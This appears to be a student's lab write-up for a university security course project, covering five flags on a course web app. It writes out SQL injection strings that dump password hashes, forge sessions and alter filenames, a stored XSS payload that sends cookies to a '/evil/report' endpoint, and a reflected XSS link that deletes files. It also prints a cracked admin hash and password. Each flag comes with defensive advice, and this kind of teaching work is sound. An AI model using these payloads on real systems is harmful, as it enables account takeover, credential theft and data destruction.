CS161 Project3 Writeup

Flag 3

Description: In the sign up web page, we used sql injection with ‘; SELECT md5_hash FROM users WHERE username=’shomil’ -- as the input of username because sign up page can display a query result. If the query returns some rows, signup should fail and display the content of the query.

Protect: The server should parameterize the sql query such that the user inputs will be treated as a single value instead of sql statements. As a result, ‘; SELECT md5_hash FROM users WHERE username=’shomil’ -- will be treated as the username and look for it in the database. We only allow users to set the username without space and we remove all space when the user puts in a string in the username to prevent the sql attack.

Flag 4

Description: In the sign up web page, we first used sql injection with ‘; INSERT INTO sessions VALUES(‘nicholas’, ‘12345’, ‘999’) -- to insert the session for nicholas account. Then, we will login to some account (‘; INSERT INTO sessions VALUES(‘nicholas’, ‘12345’, ‘999’) --) after the sign up because there is no row returned. Then, we can change the acess_token in the cookies to 12345. Then, we can login to nicholas account after refreshing the website.

Protect: The server should parameterize the sql query such that the user inputs will be treated as a single value instead of sql statements. Also, the server could store the tokens in memory instead of database. We only allow users to set the username without space and we remove all space when the user puts in a string in the username to prevent the sql attack.

Flag 5

Description: We want to perform a stored xss attack on the cs161 account by modifying the name of its file to some javascript code because cs161 will run the injected javascript code when it is trying to list its files. We use our account to create a dummy.txt file and share the file to cs161. Then, we can use sql injection in the sign up page to change the name of the dummy.txt file to fetch('/evil/report?message='+document.cookie)</script>' by inputting '; UPDATE files SET filename='<script>fetch("/evil/report?message="+document.cookie)</script>' WHERE username = 'cs161' AND filename='dummy.txt' -- as the sql injection.

Protect: The server should parameterize the sql query such that the user inputs will be treated as a single value instead of sql statements so that attackers cannot change the name of the files to an illegal name. Also, the server can hold a blacklist that blocks illegal file names or escape the illegal javascript tags when it's trying to display the files.

Flag 6

Description: our link is https://proj3.cs161.org/site/search?term=<script>fetch('https://proj3.cs161.org/site/deleteFiles',{ method:'POST'})</script>. This is a reflected xss attack that tricks users to click the link above. The link will display the javascript in the searching files of the list file web page, and the website will render and run the javascript code to delete all the files of the user.

Protect: The server could sanitize the search result in the search web page by encoding the illegal javascript tag. Also, the server can always check the searching input whether it contains the specified pattern ([a-zA-Z0-9 \.]+) before displaying the result because it only allows the file name with that format.

Flag 7

Description: We first got the admin username (uboxadmin) by searching the name one by one with sql injection in the sign up page('; SELECT username from users where username != 'cs161' AND username != 'dev' AND username != 'nicholas' AND username != 'shomil' --). Then, we got the hashed password (fc5e038d38a57032085441e7fe7010b0) with sql injection as part 3. Then, we wrote a dictionary attack on the hashed password with a file of common words by applying md5 hash on each word, and got helloworld as the admin password.

Protect: The server should parameterize the sql query such that the user inputs will be treated as a single value instead of sql statements so that the attackers cannot learn the admin username and hashed password. Also, the server could set up strict rules on passwords and use two-factor authentication which requires users to respond to a text message and app like Duo Mobile.